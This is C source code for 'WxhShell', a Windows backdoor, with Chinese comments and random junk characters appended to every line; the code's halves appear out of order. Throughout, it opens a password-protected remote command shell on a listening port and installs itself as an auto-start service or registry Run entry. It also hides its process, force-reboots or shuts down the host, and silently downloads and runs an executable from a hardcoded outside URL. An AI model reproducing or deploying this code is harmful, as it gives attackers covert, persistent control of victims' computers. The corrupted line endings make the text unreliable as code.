    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJJmM*>JW  
    else { 0Ke2%+yqJ  
    closesocket(wsh); }Uu#N H  
    ExitThread(0); hnimd~E52k  
    } g43(N!@g  
    break; dsU'UG7L  
    } dY{qdQQ}  
  // 获取shell esM r@Oc  
  case 's': { oFb~|>d  
    CmdShell(wsh); .~C%:bDnX7  
    closesocket(wsh); EK&";(x2(  
    ExitThread(0); <Nk:C1Op}  
    break; 3#? 53s   
  } <0!<T+JQ  
  // 退出 ;i?rd f  
  case 'x': { WjBH2v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :K~sazs7J  
    CloseIt(wsh); G0A\"2U  
    break; ^z`d 2it  
    } >,ABE2t5  
  // 离开 i}e/!IVR3  
  case 'q': { | |L^yI~_d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }_BNi;H  
    closesocket(wsh); nAC>']K4$  
    WSACleanup(); mp)+wZAN&  
    exit(1); a!EW[|[Q  
    break; ;t M  
        } Y2IMHN tH  
  } $ V !25jQ  
  } )5NWUuH 5  
ik](k"1{  
  // 提示信息 f/QwXO-U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T#jBqe  
} W&k@p9  
  } Qz89=#W  
S,EL=3},=  
  return; *07?U")  
} ^/VnRpU  
+z[+kir  
// shell模块句柄 "@^Q" RF  
int CmdShell(SOCKET sock) &>!-67  
{ f@gvDo]Y  
STARTUPINFO si; )PkW,214#  
ZeroMemory(&si,sizeof(si)); @?jtB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~0h@p4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &=f?:UZ%  
PROCESS_INFORMATION ProcessInfo; xYZ,.  
char cmdline[]="cmd"; xs&xcR R"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q6ZewuV.  
  return 0; A2ufET  
} JVGTmS[3  
;%Px~g  
// 自身启动模式 NG`Y{QT6N  
int StartFromService(void) K$:+]fJK  
{ }g@ '^v  
typedef struct Sl-9im1  
{ :+ mULUi  
  DWORD ExitStatus; t3!OqM  
  DWORD PebBaseAddress; ]Ok'C"V(j  
  DWORD AffinityMask; (S4HU_,88  
  DWORD BasePriority; L[Ot$  
  ULONG UniqueProcessId; 6Xz d> 5x  
  ULONG InheritedFromUniqueProcessId; 8#\|Y~P  
}   PROCESS_BASIC_INFORMATION; 6i%6u=um3  
, @!X! L  
PROCNTQSIP NtQueryInformationProcess; VR .t  
 q(X7e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WNZYs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V= -  
*o38f>aJl  
  HANDLE             hProcess; R(*t 1R\  
  PROCESS_BASIC_INFORMATION pbi; RO|8NC<oj  
<W>A }}q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?68~g<d,  
  if(NULL == hInst ) return 0; icX4n  
MV??S{^4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~o/k?l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SQhVdYU1'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7r50y>  
yj@k0TWT$  
  if (!NtQueryInformationProcess) return 0; 6)p8BUft  
S>>wf:\ c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wdAKU+tM  
  if(!hProcess) return 0; }O>4XFj  
4lWqQVx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =36fS/Gb  
K a& 2>F  
  CloseHandle(hProcess); PO8Z2"WI  
SO.u0!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j RcE241  
if(hProcess==NULL) return 0; kG{};Vm  
Y9|!= T%  
HMODULE hMod; 4'=Q:o*w`  
char procName[255]; 8zpzVizDG  
unsigned long cbNeeded; "\O7_od-  
'`|j{mBhG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O_7}H)  
Vfga%K%l F  
  CloseHandle(hProcess); y631;dU  
934j5D  
if(strstr(procName,"services")) return 1; // 以服务启动 +7o1&D*v  
ErJ/h?+  
  return 0; // 注册表启动 #g0_8>t  
} #HH[D;z  
$,J}w%A  
// 主模块 ,(a~vqNQW3  
int StartWxhshell(LPSTR lpCmdLine) ]{q=9DczG(  
{ BC/5bA  
  SOCKET wsl; 6r`N\ :18  
BOOL val=TRUE; AT+ l%%   
  int port=0; "?F[]8F.b  
  struct sockaddr_in door; V8):!  
~nhO*bs}7{  
  if(wscfg.ws_autoins) Install(); s+v9H10R  
?P-O4  
port=atoi(lpCmdLine); Sh1$AGm  
$ZGup"z)  
if(port<=0) port=wscfg.ws_port; jrFPd  
/FE+WA}r  
  WSADATA data; #*/nUbsg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pi~5}bF!a  
05k'TqT{c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #O !2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m~*qS4  
  door.sin_family = AF_INET; S6(48/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  @--"u_[  
  door.sin_port = htons(port); |'1.a jxw  
v@OELJX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Y[ q)lv  
closesocket(wsl); C4$P#DZT^  
return 1; B* mZxY1  
} rh1PpsSc  
Qw5(5W[L  
  if(listen(wsl,2) == INVALID_SOCKET) { O|+ZEBP  
closesocket(wsl); hHTt-x#  
return 1; i9zh X1#  
} >J3m ta3  
  Wxhshell(wsl); i+mU(/l2{  
  WSACleanup(); |9%~z0  
c5$DHT @N"  
return 0; (J%4}Dm  
] 1pIIX}  
} p<H_]|7$7U  
1t^y?<)  
// 以NT服务方式启动 ?k4Hk$V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dp^PiyL  
{ gJr)z7W'8  
DWORD   status = 0; D{Nd2G  
  DWORD   specificError = 0xfffffff; n]Yz<#  
}a[]I%bu 2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l"E{ ?4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }dzVwP=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p?>J86%[  
  serviceStatus.dwWin32ExitCode     = 0; $3l#eKZA  
  serviceStatus.dwServiceSpecificExitCode = 0; .z_nW1id  
  serviceStatus.dwCheckPoint       = 0; {Kr}RR*{X  
  serviceStatus.dwWaitHint       = 0; |v%$Q/zp&  
;"0bVs`.^e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *X$qgSW  
  if (hServiceStatusHandle==0) return; >QvqH 2  
C_/eNu\I  
status = GetLastError(); r<1W.xd":  
  if (status!=NO_ERROR) #*.4Jv<R  
{ +58^{_k+%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .<>t2,Af  
    serviceStatus.dwCheckPoint       = 0; 1aO(+](;  
    serviceStatus.dwWaitHint       = 0; MbCz*oW  
    serviceStatus.dwWin32ExitCode     = status; 'l<$H=ZUVG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0ZDm[#7z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }v2p]D5n.  
    return; r3U7`P   
  } >^`#%$+  
Mn/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gizY4~ j  
  serviceStatus.dwCheckPoint       = 0; 1}|y^oB\-  
  serviceStatus.dwWaitHint       = 0; ,"`3N2!Y}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \mGb|aF8  
}  *\xRNgEQ  
Cj3Xp~  
// 处理NT服务事件,比如:启动、停止 9 c9$cnQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xjU0&  
{ Zy3F%]V0  
switch(fdwControl) `Zo5!"'  
{ jrN 5l1np  
case SERVICE_CONTROL_STOP: #e-7LmO~  
  serviceStatus.dwWin32ExitCode = 0; c^1JSGv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OfBWf6b  
  serviceStatus.dwCheckPoint   = 0; aC1 xt(  
  serviceStatus.dwWaitHint     = 0; 89D`!`Ah]  
  { M5+R8ttc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =/|GWQ j  
  } =Xr{ Dg  
  return; hlV(jz  
case SERVICE_CONTROL_PAUSE: p+b9D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~I> |f  
  break; W`_Wi*z4  
case SERVICE_CONTROL_CONTINUE: UdkNb}L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [= E=H*j  
  break; / zNVJhC  
case SERVICE_CONTROL_INTERROGATE: :/=P6b;  
  break; 4IfkYM  
}; `_Iyr3HAf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1@~%LV  
} 8i`T?KB  
:%mls Nw  
// 标准应用程序主函数 7YTO{E6]d\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TTj] _R{n  
{ Q_,!(N  
L!33`xef'  
// 获取操作系统版本 [*) 2Ou  
OsIsNt=GetOsVer(); 4jZt0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jzDPn<WQ  
Lp$&eROFVs  
  // 从命令行安装 v8E:64  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;MYK TE>m  
|Zn,|-iW  
  // 下载执行文件 H/x 9w[\+[  
if(wscfg.ws_downexe) { SP2";,%/9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;+f(1=x  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6tVp%@  
} e jk?If 07  
: LX!T&  
if(!OsIsNt) { o%]b\Vl6  
// 如果时win9x,隐藏进程并且设置为注册表启动 j y p.2c  
HideProc(); DP*V|)  
StartWxhshell(lpCmdLine); Sb?v5  
} K~UT@,CS60  
else d<\X)-"  
  if(StartFromService()) 0""%@X]m  
  // 以服务方式启动 4yxf/X)  
  StartServiceCtrlDispatcher(DispatchTable); !&KE">3Qu  
else 65 &+Fv  
  // 普通方式启动 }VH` \g}  
  StartWxhshell(lpCmdLine); = "Lb5!  
Jn?ZJZ  
return 0; P6^\*xkMr  
} ='eQh\T)  
wjID*s[  
9WoTo ,q  
J{uqbrJICr  
=========================================== "el3mloR 8  
%kBrxf  
 +@Kq  
jw2hB[WR  
S|RUc}(  
Jn0L_@  
" Fok`-U  
LwQYO'X  
#include <stdio.h> `$;%%/tx  
#include <string.h> 1RQM-0W,  
#include <windows.h>  ,8p-EH  
#include <winsock2.h> S^e e<%-  
#include <winsvc.h> #{bT=:3a  
#include <urlmon.h> +>mU4Fwp  
Z79Y$d>G<E  
#pragma comment (lib, "Ws2_32.lib") %. IW H9P7  
#pragma comment (lib, "urlmon.lib") |oOA;JC)(  
pi*?fUg!W  
#define MAX_USER   100 // 最大客户端连接数 F*B^#AZg  
#define BUF_SOCK   200 // sock buffer G"<} s mB  
#define KEY_BUFF   255 // 输入 buffer ~|wh/]{b9  
Xdf;'|HO  
#define REBOOT     0   // 重启 %8% 0l*n'  
#define SHUTDOWN   1   // 关机 _32 o7}!x  
;ahI}}  
#define DEF_PORT   5000 // 监听端口 JHVesX  
olDzmy(=W*  
#define REG_LEN     16   // 注册表键长度 9qJ:h-?M  
#define SVC_LEN     80   // NT服务名长度 h7\16j  
pvqbk2BO  
// 从dll定义API Q@l.p-:^U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +r =p ,leb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g9gyx/'*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bd13p_V"6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nfr..4,:  
R? ,XSJ  
// wxhshell配置信息 ;&RHc#1F  
struct WSCFG { /(A rA=#  
  int ws_port;         // 监听端口 _H2%6t/V  
  char ws_passstr[REG_LEN]; // 口令 9[\$\l  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'F8:|g  
  char ws_regname[REG_LEN]; // 注册表键名 2I~a{:O  
  char ws_svcname[REG_LEN]; // 服务名 { r8H5X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W(*?rA-PP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y5Z<uD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T 3 +lYE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pXxpEv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9d,2d5Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?m.Ry  
Xu5^ly8p9q  
}; ?[Qxq34  
RZKczZGZg  
// default Wxhshell configuration L)Ru]X`  
struct WSCFG wscfg={DEF_PORT, gtb,}T=1  
    "xuhuanlingzhe", mt3j$r{_  
    1, }&*,!ES*  
    "Wxhshell", yYZ0o.<&T*  
    "Wxhshell", ]u O|YLWp  
            "WxhShell Service", <NX6m|DD  
    "Wrsky Windows CmdShell Service", M$GZK'%  
    "Please Input Your Password: ", Jp`qE  
  1, ji|tc9#6  
  "http://www.wrsky.com/wxhshell.exe", v4x1=E  
  "Wxhshell.exe" V IU4QEW`x  
    }; RV+0C&0ff  
`zRm "G  
// 消息定义模块 tJY3k$YX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lMBXD?,,J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _NJq%-,'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; . !;K5U  
char *msg_ws_ext="\n\rExit."; 7 S2QTRvH  
char *msg_ws_end="\n\rQuit."; +~\c1|f  
char *msg_ws_boot="\n\rReboot..."; IOOAaa @(  
char *msg_ws_poff="\n\rShutdown..."; A4|a{\|$  
char *msg_ws_down="\n\rSave to "; .Cf`D tK  
nqyB,vv0  
char *msg_ws_err="\n\rErr!"; H#j Z'I  
char *msg_ws_ok="\n\rOK!"; 41`&/9:"_M  
4m$Xjj`vE  
char ExeFile[MAX_PATH]; "*aL(R  
int nUser = 0; ];o[Yn'>o  
HANDLE handles[MAX_USER]; ~~'UQnUN4  
int OsIsNt; h/n&& J  
>) PcK  
SERVICE_STATUS       serviceStatus; ;O7<lF\7o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iPPW_Q9x  
2f$6}m'Ad  
// 函数声明 <O?UC/$)7  
int Install(void); H-.8{8  
int Uninstall(void); 4#y  
int DownloadFile(char *sURL, SOCKET wsh); [6Gb@jG  
int Boot(int flag); 7$* O+bkn:  
void HideProc(void); eE-@dU?  
int GetOsVer(void); $]yHk  
int Wxhshell(SOCKET wsl); 'hi.$G_R  
void TalkWithClient(void *cs); =m?x|Zc_v  
int CmdShell(SOCKET sock); 9 nPc>O$  
int StartFromService(void); ^.@BD4/RPt  
int StartWxhshell(LPSTR lpCmdLine); hzjEO2  
564)ha/^(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V<;w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r/vRaOg>X  
)9 QeVf  
// 数据结构和表定义 k9<P]%  
SERVICE_TABLE_ENTRY DispatchTable[] = ]2P*Z6Az  
{ L.@o  
{wscfg.ws_svcname, NTServiceMain}, "R/Xv+;  
{NULL, NULL} n++L =&Wd  
}; yqw#= fy  
^B|Q&1  
// 自我安装 B@W`AD1^{  
int Install(void) Sc zYL?w^  
{ GwoN=  
  char svExeFile[MAX_PATH]; le-Q&*  
  HKEY key; ,D`iV| (  
  strcpy(svExeFile,ExeFile); IPhV|7  
5h2@n0  
// 如果是win9x系统,修改注册表设为自启动 _#/zH~V%  
if(!OsIsNt) { -C|1O%.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (E*eq-8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4j'cXxo  
  RegCloseKey(key); $*`=sV!r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BM&.Tw|x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @;we4G5  
  RegCloseKey(key); Sp=6%3fZ]m  
  return 0; [l2ds:  
    } gz?]]-H  
  } ?p8(Uc#73  
} 67/&.d!  
else { OA_Bz"  
5:ZM-kZT  
// 如果是NT以上系统,安装为系统服务 ']hB_ 4v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ty21-0 F  
if (schSCManager!=0) :! h1S`wS  
{ ^Z{W1uYi  
  SC_HANDLE schService = CreateService <I{)p;u1  
  ( aD1G\*AFJ  
  schSCManager, M@V.?;F},  
  wscfg.ws_svcname, x05yU  
  wscfg.ws_svcdisp, L"akV,w4p  
  SERVICE_ALL_ACCESS, /^kZ}}9baU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .'q0*Pe  
  SERVICE_AUTO_START, 32r2<QrX  
  SERVICE_ERROR_NORMAL, >t,BNsWB  
  svExeFile, EhkvC>y  
  NULL, h$Z_r($b  
  NULL, ; /3 <  
  NULL, i 5"g?Wa2N  
  NULL, CVh^~!"7j  
  NULL 6p X[m{  
  ); yu'2  
  if (schService!=0) El~x$X*  
  { F8J;L](Dq  
  CloseServiceHandle(schService); 8v},&rhPQq  
  CloseServiceHandle(schSCManager); \o-Q9V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Y"[Qs]"mU  
  strcat(svExeFile,wscfg.ws_svcname); v(T;Y=&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y7yh0r_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4Lo8Eue  
  RegCloseKey(key); {jX h/`  
  return 0; gF@51K  
    } 5h9`lS2  
  } AS34yM(h  
  CloseServiceHandle(schSCManager); `,mE '3&  
} I-E}D"F;p[  
} >g ]S"ku|  
p4 #U:_  
return 1; 0Dj<-n{9  
} xD}ha  
*<yKT$(+_  
// 自我卸载 mX)UoiXue  
int Uninstall(void) Vu DSjh  
{ Kf<-PA  
  HKEY key; X&1R6 O  
-'FzH?q:  
if(!OsIsNt) { .u3!%{/v(c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w z-9+VN6  
  RegDeleteValue(key,wscfg.ws_regname); 0f).F  
  RegCloseKey(key); $= '_$wG 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KJ]:0'T  
  RegDeleteValue(key,wscfg.ws_regname); \Gh]$s p  
  RegCloseKey(key); n{dl- P  
  return 0; fLj#+h-!  
  } t{\FV@R  
} TbqED\5@9w  
} bDa(@QJ-  
else { #{)=%5=c  
=} Np0UP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )1%l$W  
if (schSCManager!=0) >5{Z'UWxh  
{ lHBk&UN'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3;(6tWWLT  
  if (schService!=0) @|:_?  
  { #/NZ0IbHk  
  if(DeleteService(schService)!=0) { VC "66 \d&  
  CloseServiceHandle(schService); b[<zT[.:  
  CloseServiceHandle(schSCManager); ^uzJu(  
  return 0; C0o 0 l>  
  } T6[];|%W  
  CloseServiceHandle(schService); F6*n,[5(  
  } yUF<qB  
  CloseServiceHandle(schSCManager); Y27x;U  
} {AbQaw  
} cXx?MF5  
&n>\ +Q   
return 1; _T6l*D  
} c"w}<8  
[hs_HYqJ  
// 从指定url下载文件 _&TA|Da  
int DownloadFile(char *sURL, SOCKET wsh) %./vh=5)  
{ H]V@Q~?e  
  HRESULT hr; {VBx;A3*I  
char seps[]= "/"; 3okh'P%+  
char *token; #9Z\jW6b  
char *file; 0?} ),8v>  
char myURL[MAX_PATH]; (9hCO-r  
char myFILE[MAX_PATH]; rPVz !(;k  
p\]Mf#B  
strcpy(myURL,sURL); *NdSL  
  token=strtok(myURL,seps); `y5?lS*  
  while(token!=NULL) 8RJXY:%  
  { 1 "'t5?XW  
    file=token; lf4V; |!^  
  token=strtok(NULL,seps); 413,O~^  
  } OOy]:t4 /  
J0 BA@jH5  
GetCurrentDirectory(MAX_PATH,myFILE); USLG G}R  
strcat(myFILE, "\\"); bD_|n!3  
strcat(myFILE, file); BsV2Q`(gT  
  send(wsh,myFILE,strlen(myFILE),0); \}SA{)  
send(wsh,"...",3,0); \M~M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C8qA+dri  
  if(hr==S_OK) pPt7M'uL"  
return 0; Ws"eF0,'Z  
else CL{R.OA  
return 1; n82N@z<8]  
FB {4& ;  
} G8%Q$  
<11pk  
// 系统电源模块 Vb>!;C  
int Boot(int flag) O,(p><k$/  
{ Fm(~Vt;%u  
  HANDLE hToken;  nN!/  
  TOKEN_PRIVILEGES tkp; _" 0VM >  
/ /63?s+  
  if(OsIsNt) { jE!<]   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E)liuu! qI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5MsE oLg  
    tkp.PrivilegeCount = 1; 7Io]2)V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Afm GA9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *sI`+4h[  
if(flag==REBOOT) { yi`Z(j;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EsR_J/:Qe  
  return 0; N yT|=`;  
} EU?)AxH^  
else { ?n o.hf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Lcd@3XL  
  return 0; {=Y%=^!s  
} pE{ZWW[@+  
  } A<ca9g3  
  else { -QR&]U+  
if(flag==REBOOT) { ;O=tSEe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rZ<n0w  
  return 0; PM3kI\:)m  
} .{+<o  
else { GtcY){7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l \~w(8g<A  
  return 0; ~\A(xmW}  
} Xq`|'6]/  
} [<m1xr4"k  
FHpS?htRy  
return 1; BS<5b*wG  
} hES_JbX}]  
^Glmg}>q  
// win9x进程隐藏模块 le%&r  
void HideProc(void) *FoH '\=  
{ : vN'eL|#  
o*OYZ/_L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XO sPKq  
  if ( hKernel != NULL ) A[QUFk(  
  { !#0Lo->OO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d?dZ=]~C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UH=pQm ^W  
    FreeLibrary(hKernel); -*8|J;  
  } }Z5f5q  
k<p$BZ  
return; 4/Ub%t -  
} MY>mP  
SV%;w>  
// 获取操作系统版本 HGqT"N Jr  
int GetOsVer(void) YTH3t] &  
{ \9Nd"E[B  
  OSVERSIONINFO winfo; $'D|}=h<Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &DoYz[q  
  GetVersionEx(&winfo); !{'C.sb?~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c#'t][Ii  
  return 1; G'b*.\=  
  else }F3}-5![  
  return 0; ciRn"X=l  
} D:`b61sWi_  
(]* Ro 8  
// 客户端句柄模块 5 [{l9  
int Wxhshell(SOCKET wsl) '?]B ui  
{ O_%X>Q9  
  SOCKET wsh; yhzC 9nTH  
  struct sockaddr_in client; .U.Knn  
  DWORD myID; &''lOS|  
3^m0 k E  
  while(nUser<MAX_USER) Pf`HF|NI  
{ o6LeC*  
  int nSize=sizeof(client); w|$i<OIi)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i("ok  
  if(wsh==INVALID_SOCKET) return 1; f' |JLhs  
F+yu[Dh:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O$ dz=)  
if(handles[nUser]==0) VF8pH <  
  closesocket(wsh); {%g]Ym=  
else tkT:5O6  
  nUser++; zN2CI6  
  } m x`QBJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gaFOm9y.e  
?N*m2rv  
  return 0; M7U:UV)  
} BYjEo  
Ql`N)!  
// 关闭 socket fmqHWu*wG  
void CloseIt(SOCKET wsh) ;2Aqztp  
{ Mr/;$O{  
closesocket(wsh); YN.[KQ(!  
nUser--; }>`rf{T  
ExitThread(0); @smjXeF o  
} jz CA2N%  
4%k{vo5i  
// 客户端请求句柄 {D6lS j  
void TalkWithClient(void *cs) )"W__U0  
{ fpd4 v|(  
l/WQqT  
  SOCKET wsh=(SOCKET)cs; u7Z-kZ  
  char pwd[SVC_LEN]; 3zC<k2B  
  char cmd[KEY_BUFF]; p'SclH[   
char chr[1]; b;kgP`%%  
int i,j; g!/O)X3  
PfF5@W;E;  
  while (nUser < MAX_USER) { 3a|I| NP  
{lv@V*_Y0  
if(wscfg.ws_passstr) { Z=c&</9e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _.)6~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 94uAt&&b(  
  //ZeroMemory(pwd,KEY_BUFF); pi?$h"y7Q  
      i=0; H3Ws$vl9n  
  while(i<SVC_LEN) { 4i]h0_]  
qYba%g9RN(  
  // 设置超时 ,> %=,x  
  fd_set FdRead; ,,}& Q%5  
  struct timeval TimeOut; Pk2=*{:W  
  FD_ZERO(&FdRead); O0`o0 !=P  
  FD_SET(wsh,&FdRead); jWpm"C  
  TimeOut.tv_sec=8; 3UR'*5|'  
  TimeOut.tv_usec=0; TUy 25E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C-2{<$2k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J?R\qEq%  
3ncL351k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uT#4"G9A[  
  pwd=chr[0]; K;L6<a A#  
  if(chr[0]==0xd || chr[0]==0xa) { >f\$~cp  
  pwd=0; jjJvyZi~J  
  break; ]H {g/C{j  
  } [8 I*lsS  
  i++; b)(si/]\  
    } Q8h0:Q  
/#Gm`BT  
  // 如果是非法用户,关闭 socket Pl/B#Sbf'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?B{,%2+  
} Tebu?bj  
;;>G}pG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !n^7&Y[N;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *KYh_i  
x'iBEm  
while(1) { MhDPf]` Gg  
y F;KyY{  
  ZeroMemory(cmd,KEY_BUFF); E0t%]?1  
0Qr|!B:+9)  
      // 自动支持客户端 telnet标准   eW\C@>Ke  
  j=0; -Pp =)_O  
  while(j<KEY_BUFF) { iezY+`x4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pP)> x*1  
  cmd[j]=chr[0]; rD!UP1Nb  
  if(chr[0]==0xa || chr[0]==0xd) { dUc?>#TU  
  cmd[j]=0; BJP^?FUd=,  
  break; yD yMI  
  } LZ4Z]!V  
  j++; N"Cd{3  
    } :F.eyA|#@G  
OrRU$5Lo  
  // 下载文件 ekPn`U  
  if(strstr(cmd,"http://")) { W61nJ7@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 91oAg[@4G  
  if(DownloadFile(cmd,wsh)) 2PViY,V|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~"#aL50fe  
  else 83pXj=k<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t@cImmh\T  
  } K!O7q~s[D  
  else { GmdS~Fhp  
ia*Bcx_RW+  
    switch(cmd[0]) { h,x'-]q  
  O[5u6heNMr  
  // 帮助 JL=s=9N;3  
